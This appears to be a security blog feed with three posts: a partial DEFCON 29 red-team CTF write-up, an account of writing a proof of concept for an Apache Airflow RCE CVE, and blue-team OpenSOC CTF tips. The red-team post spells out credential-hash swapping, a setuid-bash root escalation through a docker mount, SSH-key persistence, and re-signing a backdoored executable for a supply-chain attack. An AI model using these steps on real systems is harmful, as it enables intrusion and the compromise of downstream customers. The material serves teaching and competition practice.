<p>This illustrates how a breach of a single company can lead to the compromise of many other customers because of the inherent trust of customers to the providers of these products/services.</p>
<h4 id="getting-access-to-git-and-cicd">Getting access to Git and CI/CD</h4>
<p>So aside from hosting the download web page shown above, the build server also hosts other services:</p>
<ul>
<li>Gitea: Self-hosted git service</li>
<li>Appveyor: Continuous Integration and Deployment Service</li>
</ul>
<p>The gitea service hosted the repository of the <code class="language-plaintext highlighter-rouge">Wuphf</code> application</p>
<p><img src="https://cdn-images-1.medium.com/max/1895/1*at8edM-5GQXBvQg_GuPXxA.png" alt="" /></p>
<p>The appveyor is configured to pull from the repo in gitea and build the application.</p>
<p><img src="https://cdn-images-1.medium.com/max/1895/1*nk1xrHrJOdEg9T0FwPre4Q.png" alt="" /></p>
<p>The dev user we had access to was not a sudoer the build server and we did not have any credentials to login in to appveyor or gitea. So we permissions to push changes to the wuphf repository.</p>
<p>With the shell access, the dev user is part of the <code class="language-plaintext highlighter-rouge">appveyor</code> group. So we were able to get access to <code class="language-plaintext highlighter-rouge">appveyor</code> user’s directories which includes the build directories, appveyor’s config and sqlite db.</p>
<p><img src="https://cdn-images-1.medium.com/max/1263/1*KDBCuUq6j-EOIhsOldqHGA.png" alt="" />
<em>/etc/opt/appveyor/server/appsettings.json</em></p>
<p>And we see that the local appveyor DB is in <code class="language-plaintext highlighter-rouge">/var/opt/appveyor/server/appveyor-server.db</code> . We downloaded the <code class="language-plaintext highlighter-rouge">appveyor-server.db</code> to our localhost.</p>
<p>Exploring the DB we found a password hash of <code class="language-plaintext highlighter-rouge">rhendricks@lunarfire.com</code> . Attempts to crack this failed. There were also build configurations that were probably encrypted so it was not readily usable.</p>
<p><img src="https://cdn-images-1.medium.com/max/1895/1*5UC5hRpKiHIP_x-okkKc5Q.png" alt="" /></p>
<p>Now instead of looking through the docs to figure out how to decode or decrypt the fields in the <code class="language-plaintext highlighter-rouge">appveyor-server.db</code> , what we did was install a local version of appveyor <a href="https://www.appveyor.com/docs/server/#linux">(docs)</a> and create a new user.</p>
<p><img src="https://cdn-images-1.medium.com/max/1895/1*qIuddMnnGz8_FhASt7zO2A.png" alt="" /></p>
<p>We used this to generate the hashes and salt of a known password and replaced it with the <code class="language-plaintext highlighter-rouge">appveyor-server.db</code> we downloaded from the build server.</p>
<p><img src="https://cdn-images-1.medium.com/max/1895/1*5g5Lo1LLZgvlidId2QAEkQ.png" alt="" /></p>
<p>We used the swapped the modified <code class="language-plaintext highlighter-rouge">appveyor-server.db</code> and the original <code class="language-plaintext highlighter-rouge">appsettings.json</code> with the local version and we were able to login to the local appveyor service.</p>
<p>With that we were able to explore all the configurations in the CI/CD and found a password for a GPG key.</p>
<p><img src="https://cdn-images-1.medium.com/max/1263/1*v0e2Ogxp208gnE9s84tAbQ.png" alt="" /></p>
<p>This password was reused for the the gitea account and the appveyor account. So now we have write access to the wuphf repository and we can freely rebuild the project.</p>
<h4 id="getting-root-access">Getting root access</h4>
<p>Now the <code class="language-plaintext highlighter-rouge">wupfh</code> repository has a bash script <code class="language-plaintext highlighter-rouge">ci.sh</code> that is used during the build process.</p>
<script src="https://gist.github.com/pberba/60a1c86452388b4b3ca9d16c8efd1b85.js"></script>
<p>We see in the build function that the docker command mounts the <code class="language-plaintext highlighter-rouge">/home/appveyor/.cache/electron-builder/node-modules</code> to the docker container. This is probably there to speed up the build so that the node modules don’t have to be redownloaded every time a new build is run.</p>
<p>Docker runs commands such as <code class="language-plaintext highlighter-rouge">/bin/bash -c "yarn config..."</code> as root and so node modules it downloads and other files it produces will be owned by root. Because <code class="language-plaintext highlighter-rouge">/home/appveyor/.cache/electron-builder/node-modules</code> is mounted in the container’s <code class="language-plaintext highlighter-rouge">/project/node_modules</code> directory, the contents of <code class="language-plaintext highlighter-rouge">/home/appveyor/.cache/electron-builder/node-modules</code> after the build are all owned by <code class="language-plaintext highlighter-rouge">root</code> .</p>
<p>This is useful for us because we can generate a root bash by running the commands <code class="language-plaintext highlighter-rouge">cp /bin/bash /project/node_modules/root_bash && chmod +s /project/node_modules/root_bash</code> in the docker run command.</p>
<p><img src="https://cdn-images-1.medium.com/max/640/1*kwEPaxUYt6BbOq1WI_tjFg.png" alt="" /></p>
<p>After triggering a rebuild, CI/CD will produce a <code class="language-plaintext highlighter-rouge">bash</code> executable with setuid that can be used to get root in <code class="language-plaintext highlighter-rouge">/home/appveyor/.cache/electron-builder/node-modules/root_bash</code> and because we have access to that directory, we are able to run <code class="language-plaintext highlighter-rouge">root_bash -p</code> to get root! See <a href="https://attack.mitre.org/techniques/T1548/001/">MITRE’s setuid article</a> for more information about this.</p>
<p>We add an SSH key in <code class="language-plaintext highlighter-rouge">/root/.ssh/authorized_keys</code> and we now have persistent root access to the build server!</p>
<h4 id="putting-a-backdoor-in-the-wuphf-distributions">Putting a backdoor in the wuphf distributions</h4>
<p>Now, reviewing how to the build we see how the SHA256SUM files is generated and signed.</p>
<p>We also see that the compiled binaries are moved to <code class="language-plaintext highlighter-rouge">/opt/lunarfire/dist</code> so that would be the location we want to add our payloads.</p>
<p><img src="https://cdn-images-1.medium.com/max/1263/1*7_oKemAFJG5j2FIFpONnOg.png" alt="" /></p>
<p>From this logs listed above, we know that there are PGP keys in the<code class="language-plaintext highlighter-rouge">appveyor</code> user. We copy these to <code class="language-plaintext highlighter-rouge">root</code> . We use the commands we see in the build logs and to creating this signing script.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">export </span><span class="nv">GPG_PASS</span><span class="o">=</span><span class="s2">"ei4hxYPUpYU4eN3!"</span><span class="p">;</span>
<span class="c"># This generates the SHA sums</span>
find <span class="nb">.</span> <span class="nt">-maxdepth</span> 1 <span class="nt">-type</span> f <span class="nt">-execdir</span> <span class="nb">sha256sum</span> <span class="o">{}</span> <span class="se">\\</span><span class="p">;</span> <span class="o">></span> SHA256SUMS<span class="p">;</span>
<span class="c"># This signs the SHA sum files</span>
<span class="nb">echo</span> <span class="nv">$GPG_PASS</span> | gpg <span class="nt">--pinentry-mode</span> loopback <span class="nt">--passphrase-fd</span> 0 <span class="nt">--detach-sign</span> <span class="nt">-o</span> SHA256SUMS.sig SHA256SUMS
</code></pre></div></div>
<p>This generates the SHA256SUM files and the SHA256SUM.sig files that can be used to validate the checksums of the executables downloaded by customers. The SHA256SUM file looked something like this</p>
<p><img src="https://cdn-images-1.medium.com/max/1263/1*L8iVMjN8dAuGla3NW3Artg.png" alt="" /></p>
<p>With this, we can add any exe file in <code class="language-plaintext highlighter-rouge">/opt/lunarfire/dist</code> and sign these. Now… Where do we go from here?</p>
<p>If this was a supply chain attack, some endpoint should be trying to download from build server. Unfortunately, the web server used did not produce access logs, but we had root access to the machine, we installed tcpdump and monitored network traffic to the build server.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>tcpdump -i ens5 'port 80' -nn -s0 -vv -XX
</code></pre></div></div>
<p>We saw there was a client that was polling the SHA256SUM file periodically. This validates the idea that this is indeed a supply chain attack.</p>
<p><img src="https://cdn-images-1.medium.com/max/1263/1*Sc4K_6G6oNHqZH5BDjqPLA.png" alt="" /></p>
<p>Now the current version served was 1.7.2. We thought that we had to create a 1.7.3 version of <code class="language-plaintext highlighter-rouge">wuphf</code> so that the client would see that there was a new version of the wuphf client and download it. However, this failed. After several attempts and monitoring the behavior of the client polling, we figured out that the endpoint was looking for changes in the hash of 1.7.2.</p>
<p>After replacing the 1.7.2 executable with a malicious exe, we regenerated the SHA256SUM file and signed it. We then saw that the client downloaded the new executable.</p>
<p><img src="https://cdn-images-1.medium.com/max/1263/1*pN6QhTwUSS1AlGJCoDwN1g.png" alt="" /></p>
<p>From here it was pretty simple. I setup scripts so that my team can easily upload new executables and generate the signatures, and the rest of my teammates was able to start with the next stages of the CTF.</p>
<p>So the workflow was:</p>
<ol>
<li>Upload new exe with malicious payload to build server</li>
<li>Replace wuphf-win-1.7.2.exe</li>
<li>Compute SHA256SUM</li>
<li>Sign hashes to get SHA256SUM.sig</li>
<li>Monitor network traffic to see if payload is downloaded</li>
</ol>
<p>We still monitored the network traffic to see when the payload was downloaded and run by the client. If we did not receive the callback shortly after, we knew it was blocked by Windows Defender.</p>
<h4 id="bonus-troubleshooting-broken-endpoint">Bonus: Troubleshooting Broken Endpoint</h4>
<p>Shortly after we got the endpoint to execute our payloads, it suddenly stopped polling before we were able to setup persistence. We got stuck. We weren’t able to progress in the CTF.</p>
<p>At first, we thought we broke windows machine, so we contacted the organizers about this and they were responsive and helpful. They checked it and said service was running. They concluded that the machine should be polling for new hashes. If it wasn’t downloading and running any of the payloads, then we must be doing something wrong.</p>
<p>At this point, we completely understood how the endpoint worked. We knew how often the it polled and what it was looking for. So when we still didn’t see any incoming traffic, we knew something was still broken somewhere.</p>
<p>We went back and forth with the organizers. We insisted that he double and triple check because we knew something was broken. They restarted the service, rebooted the endpoint and even rebuilt it. This went on for almost 3 hours. It turns out, there was a misconfiguration in the endpoint’s DNS.</p>
<p><img src="https://cdn-images-1.medium.com/max/1263/1*uw01FLLklzwUq5lfLb_vBA.png" alt="" /></p>
<p>The <code class="language-plaintext highlighter-rouge">lunarfire.dev</code> record had two addresses configured. One of them was our build server, and the other IP address might have been from development or testing. The reason why the client stopped polling our build server was because the domain started resolving to the wrong IP address.</p>
<p>It’s an unfortunate misconfig and it could happen with big complicated environment. We were lucky that the organizers were patient enough to entertain our concerns and continued to troubleshoot the problem until we found the solution.</p>
<h4 id="some-final-notes">Some Final Notes</h4>
<p>We found out while troubleshooting that the organizers did not intend us to get root to the build server. This was an unintended path.</p>
<p>I found that hard to believe since it was natural to see the use of docker and think that it can be used for privesc. After getting root we didn’t bother checking if the appveyor user was part of the docker group or if there were restrictions to prevent the typical docker priv esc paths shown:</p>
<ul>
<li><a href="https://book.hacktricks.xyz/linux-unix/privilege-escalation/interesting-groups-linux-pe#docker-group">HackTricks: Docker Group</a></li>
<li><a href="https://www.youtube.com/watch?v=MnUtHSpcdLQ">John Hammond: Docker Privilege Escalation Techniques</a></li>
</ul>
<p>The intended path was to push updates to the repository to install a backdoor in the wuphf electron application itself, and have the CI/CD to rebuild and sign the executables.</p>
<p>Without root, this part would be painful. Each time we needed to test a new payload we would need to wait 5minutes for the build to finish. Moreover, it would have been more difficult to debug a lot of questions in CTF without root. We relied mainly on being able to monitor the tcpdump to answer debug the following:</p>
<ul>
<li>Should we update the wuphf to 1.7.3 (which I felt was more intuitive approach)? Or replace it to 1.7.2?</li>
<li>Has the endpoint downloaded the new payload?</li>
<li>Is the endpoint still querying? Why did the endpoint stop querying?</li>
</ul>
<p>If we didn’t have root, we wouldn’t have been so sure that something was broken in the infrastructure, and we might have never progress past this stage.</p>
<p>But aside from that, the CTF was great and it was a lot of fun, and it’s always was cool to find out that our solution was unintended.</p>
<p>I know that this is only a small part of the finals CTF but I hope you enjoyed partial writeup! Thanks.</p>Pepe BerbaThis year I was able to join the DEFCON 29 Red Team Village’s CTF since the event was held online for free. I joined with my team, the hackstreetboys. We got 3rd out of 650 in the qualifiers and the 3rd out of 20 finals!POC Exploit from a CVE: Apache Airflow 1.10.10 RCE2021-06-05T00:00:00+00:002021-06-05T00:00:00+00:00https://pberba.github.io/security/2021/06/05/cve-2020-11978<p>I recently published a simple POC of <a href="https://github.com/pberba/CVE-2020-11978">CVE-2020-11978</a> which, when combined with CVE-2020–13927, is an unauthenticated RCE for Apache Airflow 1.10.10. (<a href="https://www.exploit-db.com/exploits/49927">Exploit DB link</a>)</p>
<p>The exploit is actually simple but when I first encountered CVE-2020–11978, I did some quick google searches and didn’t find any available exploits. </p>
<p>I’ve always been a user of publicly available exploits when doing CTFs and boxes in hackthebox. So this time I decided to try to look into and write my own. This blog post describes that process .</p>
<h4 id="finding-thecve">Finding the CVE </h4>
<p>I encountered this when playing around with <a href="https://snyk.io/">snyk</a> and <a href="https://github.blog/2020-06-01-keep-all-your-packages-up-to-date-with-dependabot/">dependabot</a> for some of my personal projects.</p>
<p>What caught my eye was was the <code class="language-plaintext highlighter-rouge">HIGH</code> <a href="https://snyk.io/vuln/SNYK-PYTHON-APACHEAIRFLOW-585817">severity RCE</a> (CVE-2020–11978). This was a <code class="language-plaintext highlighter-rouge">MEDIUM SEVERITY</code> in <a href="https://github.com/advisories/GHSA-rvmq-4x66-q7j3">dependabot’s output.</a></p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*d-AbWKkADU3A3S9Tx-OQfA.png" alt="" /></p>
<p>And the <code class="language-plaintext highlighter-rouge">MEDIUM</code> <a href="https://snyk.io/vuln/SNYK-PYTHON-APACHEAIRFLOW-1038828">insecure default</a> (CVE-2020–13927) vulnerability. This was a <code class="language-plaintext highlighter-rouge">CRITICAL SEVERITY</code> in <a href="https://github.com/advisories/GHSA-hhx9-p69v-cx2j">dependabot’s output.</a> </p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*G8iYE3as6jpr6Grk-e0vww.png" alt="" /></p>
<h4 id="details-of-thecves">Details of the CVEs</h4>
<p>As mentioned the RCE is present in the example DAG <code class="language-plaintext highlighter-rouge">load_examples = True</code> and the Experimental API allows unauthenticated by default.</p>
<p>We validate that the default config of airflow is vulnerable to both CVEs in 1.10.10’s <code class="language-plaintext highlighter-rouge">default_airflow.cfg</code> <a href="https://github.com/apache/airflow/blob/1.10.10/airflow/config_templates/default_airflow.cfg#L277">here</a> and <a href="https://github.com/apache/airflow/blob/1.10.10/airflow/config_templates/default_airflow.cfg#L161">here</a></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>load_examples = True
auth_backend = airflow.api.auth.backend.default
</code></pre></div></div>
<p>With the two vulnerabilties we can devlop an exploit that uses the vulnerability in the example DAGs shipped with Airflow and trigger this remotely using the open backend API. By default, you are able to remotely trigger this because the back-end API of Airflow allows unauthenticated requests even if the authentication in the web UI is configured.</p>
<p>To find the vulnerable DAG, we can read through each example DAG. But because these were patched in 1.10.11, we can limit our search to example DAGs that had changes between 1.10.10 and 1.10.11. You can do this is github by using: <a href="https://github.com/apache/airflow/compare/1.10.10...1.10.11">https://github.com/apache/airflow/compare/1.10.10…1.10.11</a></p>
<p>We see the following change to the <code class="language-plaintext highlighter-rouge">example_trigger_target_dag.py</code></p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*pIGSBlURIDgnvyiA9IfDlA.png" alt="" /></p>
<p>And we see an update to the docs related to this </p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*F-G2whZIAWt53bxEpdq_GQ.png" alt="" /></p>
<p>This practically confirms that <code class="language-plaintext highlighter-rouge">example_trigger_target_dag.py</code> is the example DAG that CVE-2020–11978 refers to.</p>
<h4 id="testing-and-writing-theexploit">Testing and writing the exploit</h4>
<p>With this it was straightforward to test and write the exploit. First I tested this with Airflow’s web UI.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*g8mgXB4Ow3QcvObby61yig.png" alt="" /></p>
<p>The main steps were:</p>
<ol>
<li>Enable the <code class="language-plaintext highlighter-rouge">example_trigger_target_dag</code> </li>
<li>Create a DAG run with the config above</li>
<li>Wait</li>
<li>Validate the <code class="language-plaintext highlighter-rouge">/tmp/test_rce</code> was created</li>
</ol>
<p>Then I replicated the steps needed to do this using <a href="https://airflow.apache.org/docs/apache-airflow/1.10.10/rest-api-ref.html?highlight=experimental%20api#rest-api-reference">Airflow Experimental API</a> and tested it using docker to make it repeatable (<a href="https://github.com/pberba/CVE-2020-11978/blob/main/docker-compose.yml">https://github.com/pberba/CVE-2020-11978/blob/main/docker-compose.yml</a>)</p>
<p>In terms of structuring the repository and the details to put about the POC, I learned from the works of other repos. The one I liked was <a href="https://github.com/RhinoSecurityLabs/CVEs">https://github.com/RhinoSecurityLabs/CVEs</a></p>
<h4 id="submission-to-exploitdb">Submission to Exploit DB</h4>
<p>Finally, I decided to try to submit it to exploit DB. I just followed <a href="https://www.exploit-db.com/submit">https://www.exploit-db.com/submit</a></p>
<p>I just needed to add some header comments on the exploit code. I waited and they accepted it. </p>
<h4 id="final-thoughts">Final Thoughts</h4>
<p>Of course, writing exploits with CVEs is a lot easier than actually discovering the CVEs. In this particular case, the actual vulnerability was very easy to find and exploit. Nonetheless, going through this process was very instructive for me.</p>
<p>Repo: <a href="https://github.com/pberba/CVE-2020-11978">https://github.com/pberba/CVE-2020-11978</a><br />
Exploit DB: <a href="https://www.exploit-db.com/exploits/49927">https://www.exploit-db.com/exploits/49927</a></p>
<h3 id="notes-on-remediation">Notes on remediation</h3>
<p>The relevant advisory links are:</p>
<ul>
<li><a href="https://lists.apache.org/thread.html/r23a81b247aa346ff193670be565b2b8ea4b17ddbc7a35fc099c1aadd%40%3Cdev.airflow.apache.org%3E">CVE-2020–13927</a></li>
<li><a href="https://lists.apache.org/thread.html/r7255cf0be3566f23a768e2a04b40fb09e52fcd1872695428ba9afe91%40%3Cusers.airflow.apache.org%3E">CVE-2020–11978</a></li>
</ul>
<h4 id="remove-example-dags">Remove Example DAGs</h4>
<p>If you already have examples disabled by setting <code class="language-plaintext highlighter-rouge">load_examples=False</code> in the config then you are not vulnerable.</p>
<p>You can update to <code class="language-plaintext highlighter-rouge">>=1.10.11</code> or remove the vulnerable DAG is <code class="language-plaintext highlighter-rouge">example_trigger_target_dag</code> for <code class="language-plaintext highlighter-rouge"><1.10.11</code></p>
<h4 id="deny-access-to-experimental-api">Deny access to experimental API</h4>
<p>If you start a new Airflow instance using <code class="language-plaintext highlighter-rouge">>=1.10.11</code> , then <code class="language-plaintext highlighter-rouge">deny_all</code> is already set for <code class="language-plaintext highlighter-rouge">auth_backend</code> by default in <code class="language-plaintext highlighter-rouge">airflow.cfg</code>.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[api]
auth_backend = airflow.api.auth.backend.deny_all
</code></pre></div></div>
<p>Note that <code class="language-plaintext highlighter-rouge">airflow.api.auth.backend.default</code> still allows unauthenticated requests to the API even for <code class="language-plaintext highlighter-rouge">>=1.10.11</code>. So if you have an existing Airflow instance which <code class="language-plaintext highlighter-rouge">auth_backend = airflow.api.auth.backend.default</code> then even after upgrading to <code class="language-plaintext highlighter-rouge">>=1.10.11</code>, then the REST API is still public.</p>
<p>For <code class="language-plaintext highlighter-rouge">>=2.0.0</code>, the experimental API is disabled but has a more powerful stable API.</p>
<p><br /></p>
<p>Photo by <a href="https://unsplash.com/@cassieboca?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText">Cassie Boca</a> on <a href="https://unsplash.com/s/photos/wind-turbine-storm?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText">Unsplash</a></p>Pepe BerbaI recently published a simple POC of CVE-2020-11978 which, when combined with CVE-2020–13927, is an unauthenticated RCE for Apache Airflow 1.10.10. (Exploit DB link)DEFCON 28 OpenSOC Blue Team CTF: Lessons and Tips2020-08-11T00:00:00+00:002020-08-11T00:00:00+00:00https://pberba.github.io/security/2020/08/11/defcon-28-blueteam-opensoc-ctf<p>This year I was able to join the <strong>DEFCON 28 Blue Team Village’s OpenSOC CTF</strong> since the event was held online. I joined with my team, the <a href="https://hackstreetboys.ph/">hackstreetboys</a>. There were 800+ participants, 500+ challenges, and 350+ teams in the competition which over 20 hours. </p>
<p>We did alright; <strong>8th out of 20 in the CTF finals, and 5th out of 354 teams in the qualifiers.</strong> It could be better, and we’re going to try harder.</p>
<p>This was our first time playing and our exposure to blue team CTFs is limited. We didn’t really know what to expect at first, and now the CTF is over, I hope I can give some insights to help those who will join in the future or absolute beginners who want to try learn how to do blue team stuff.</p>
<h3 id="what-is-the-competition-like">What is the competition like?</h3>
<p>The CTF is a set of challenges is designed to test practical incident response skills in areas such as Digital Forensics, Incident Response (DFIR), and Threat Hunting in an environment that closely “resembles a real enterprise network”. </p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*GW4LVDmUpAX9YA77tQ3Dsw.png" alt="" /></p>
<p>The challenges are sets of scenarios that go through the entire kill chain from the successful exploitation of a victim to the eventual exfiltration of the enterprise’s data.</p>
<h4 id="what-does-a-scenario-looklike">What does a scenario look like? </h4>
<p>I won’t explain scenarios from the CTF itself since I think OpenSOC reuses scenarios in future events, and it’s also hard to do it without the logs.</p>
<p>Here is a toy example from my previous blog post on <a href="https://pberba.github.io/security/2020/04/26/lateral-movement/">detecting lateral movement.</a></p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*yQKpQ3cEZXavZy0sjtzmkA.png" alt="Toy example, from an email to the production database" />
<em>Toy example, from an email to the production database</em></p>
<ol>
<li>The attacker sends <strong>a fake job application email</strong> and HR opens the attached CV. This turns out to be <strong>a malicious PDF</strong>, which helps <strong>the attacker establish a foothold in the HR subnet</strong> using a reverse shell.</li>
<li>With brute force, <strong>the attacker gets the local administrator credentials of the HR machine</strong> and is able to escalate his privilege.</li>
<li>Unfortunately, <strong>all machines have the same local administrator credentials.</strong> Using these credentials, he is able to <strong>pivot to a host in the IT group subnet.</strong></li>
<li><strong>Tunneling through the IT group host</strong>, he is able to access all production servers.</li>
<li><strong>Exfiltrate the data and cleanup.</strong> GG.</li>
</ol>
<p>At a high level, all the scenarios look somewhat like this. You can think of this as a “template of an attack”. The different challenges ask you for different facts at different stages of this chain.</p>
<p>More formally, this follows what is often referred to as the <a href="https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html">cyber kill chain.</a> This is the first thing that would probably be introduced in any blue team lesson. It’s almost obligatory to mention it at this point. </p>
<p><strong>Tip 0: Follow the cyber kill chain.</strong></p>
<p>If you want some real world examples, you can check out the “breach reports” section of my previous blog post where try to explain some of the incidents from publicly available breach reports. <a href="https://pberba.github.io/security/2020/04/26/lateral-movement/#breach-reports">Detecting Lateral Movements — Breach Reports</a></p>
<h3 id="what-tools-do-iuse">What tools do I use?</h3>
<p>If you look at the tools that OpenSOC features, there are quite a handful and it might be daunting to try to learn all of them.</p>
<p><strong>Tip 1: The essential tools are graylog, moloch, and osquery.</strong></p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*sUoa-fHJG9oGLe90R4cJwQ.png" alt="" /></p>
<p>Try to watch <a href="https://www.youtube.com/watch?v=bhTBbUW0Vu0&feature=youtu.be">the video OpenSOC provides a debriefing of a retired scenario to see the tools in action</a></p>
<p>On top of that, here are some of my notes on the different tools.</p>
<h4 id="graylog"><strong>Graylog</strong></h4>
<p>This is by far, the most important tool that you need to know. This is your bread and butter for the competition. Here are some quick notes on it:</p>
<ol>
<li>The logs in graylog come <strong>from multiple sources.</strong> Some of them come from the host, the domain controller, the firewall, smtp, etc. </li>
<li><strong>Know the host and the time that you are currently interested in.</strong> If you see that a user of <code class="language-plaintext highlighter-rouge">IT-42</code> downloaded a weird attachment at <code class="language-plaintext highlighter-rouge">21:02:03</code> , maybe start by looking at the logs from the source<code class="language-plaintext highlighter-rouge">IT-42</code> between <code class="language-plaintext highlighter-rouge">21:02:03</code> and <code class="language-plaintext highlighter-rouge">21:03:03</code> . You might find that the events laid out in front of you.</li>
<li><strong>Know how to filter in graylog.</strong> You might want to filter out all those pesky javascript files that internet explorer creates to see the <code class="language-plaintext highlighter-rouge">malware.exe</code> the attacker created. Or maybe you want to only filter for the new processes in that host.</li>
<li><strong>Read the logs and do full-text searches.</strong> Since the windows event logs that are ingested are human-readable, you don’t really need to memorize all of the <code class="language-plaintext highlighter-rouge">event_id</code> , 4698, 4624, 3, 1, etc…. Take advantage of it. Just search for “file created” and it works!</li>
</ol>
<p><img src="https://cdn-images-1.medium.com/max/800/1*fVPk5DHywMHqalUun2gPPg.png" alt="Looking for “created scheduled task”" />
<em>Looking for “created scheduled task”</em></p>
<p>Here are some example queries that you might find useful.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>source:it\-42
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>source:it\-42 AND process AND created
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>source:it\-42 AND file AND created
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>source:it\-42 AND service AND created
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>source:it\-42 AND FromBase64String
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>source:it\-42 AND /.*exe.*/
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>source:it\-42 AND /.*enc.*/
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>source:it\-42 AND file AND created NOT /.*\.js.*/
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>"malware.exe" AND \_exists\_: process\_parent
</code></pre></div></div>
<p><strong>Moloch</strong></p>
<p>I don’t think the graylog ingested logs from a web proxy or DNS logs… The workflow I ended up with was graylog for host logs, moloch for network stuff</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*7Uhl6dPDxe8_Wkt7TIN3Jg.png" alt="" /></p>
<p>Try to play around with wireshark first since its really similar. Here are some queries to get you started with moloch:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ip.src == 172.16.1.2 && ip.protocol != udp
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ip.src == 172.16.1.2 && ip.dst == 172.16.2.0/24
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http.host == "95.179.177.157" && http.user-agent == "Microsoft BITS/7.5"
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(ip.src == 172.16.1.2|| ip.src == 172.16.1.3) && port.dst == 445
</code></pre></div></div>
<p>Since we have full pcaps, we can read the plaintext traffic. Things you should be familiar with reading are DNS, HTTP, and SMTP traffic. </p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*_3lpegl93DWLCe3YroGv3w.png" alt="" /></p>
<p>It might be a challenge for some beginners to carve out files from the network data. I don’t think this is something you can do in the UI of moloch. Let’s say you are asked the extract the images attached in an outbound email.</p>
<p>What we ended up doing was to:</p>
<ol>
<li>Filter for the traffic for the timeframe and maybe specific source or destination</li>
<li>Download the pcap</li>
<li>Analyze the pcap with wireshark, bro/zeek, binwalk, etc</li>
</ol>
<p>Here’s a command that does the file extraction using bro/zeek.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/opt/zeek/bin/zeek -r "sample.pcap" /opt/zeek/share/zeek/policy/frameworks/files/extract-all-files.zeek
</code></pre></div></div>
<p>We see in the screenshot below that:</p>
<ol>
<li>We use <code class="language-plaintext highlighter-rouge">zeek</code> to read the <code class="language-plaintext highlighter-rouge">sample.pcap</code> with the <code class="language-plaintext highlighter-rouge">extract-all-files</code> policy</li>
<li>This extracts the file into a directory <code class="language-plaintext highlighter-rouge">extract_files</code>, which we list some of the files for</li>
<li>We see that the <code class="language-plaintext highlighter-rouge">extract_files/...-SMTP-...</code> file is PNG image.</li>
</ol>
<p><img src="https://cdn-images-1.medium.com/max/800/1*iHKURQ1sRKdvBzoPYfU6IA.png" alt="" /></p>
<h4 id="osquery">osquery</h4>
<p>This is pretty straightforward. We mainly used this to get </p>
<ol>
<li>the hashes of particular files (known path or filename)</li>
<li>current running processes</li>
<li>scheduled tasks</li>
</ol>
<p><img src="https://cdn-images-1.medium.com/max/800/1*V9rB5yN5yGubtXjaUYqvJg.png" alt="" /></p>
<h4 id="miscellaneous-stuff">Miscellaneous Stuff</h4>
<p>There were some challenges that we just knew what to do from experience, especially with other more traditional CTFs.</p>
<p>Look at the log below. You’re asked to extract the script that the attacker ran. If you aren’t familiar with Powershell, you might not know what to do with this, but the code is pretty readable.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*NPqiSkSw16f7Kl6BR8gO8g.png" alt="" /></p>
<p>Let’s take a closer look</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*MsqFkTzkDU7jvtH5pq5Pbw.png" alt="" /></p>
<p>Focus on these keywords</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>FromBase64String...GzipStream...Decompress
</code></pre></div></div>
<p>That tells you what to do, you get the long string, base64 decode, then gzip decompress.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*iaiXjQLDq5mLHXJVng1bZw.png" alt="" /></p>
<h3 id="how-do-i-know-what-to-lookfor">How do I know what to look for?</h3>
<p>Well, this is really the hard part, and often times I ask myself the same thing. But here are some example challenges and some resources that can help you learn more about it.</p>
<h4 id="finding-encoded-powershell">Finding Encoded Powershell</h4>
<p>The challenge is something like, “The attacker ran an encoded powershell command what did he run?” This is what we discussed previously, but what if you can’t even find the powershell script in the first place! </p>
<p>So one way to find this is looking for string “<strong>FromBase64String</strong>” this is a “well-known” detection rule and a telltale sign of something fishy happening in your network.</p>
<p>What if you don’t know about this? How do you go about discovering this “well-known” detection rule? You can look at a repository of detection signatures that other people have shared! There is a sigma rule for that: “<a href="https://github.com/Neo23x0/sigma/blob/56576b539f39bcac1cfb9a1df8f73a53b0a07897/rules/windows/process_creation/win_powershell_frombase64string.yml">Detects suspicious FromBase64String expressions in command line arguments</a>” </p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*UrTuNMHZAwqo583XFk2YGQ.png" alt="" /></p>
<p><strong>Tip 2: Familiarize yourself with Sigma and ATT&CK matrix</strong></p>
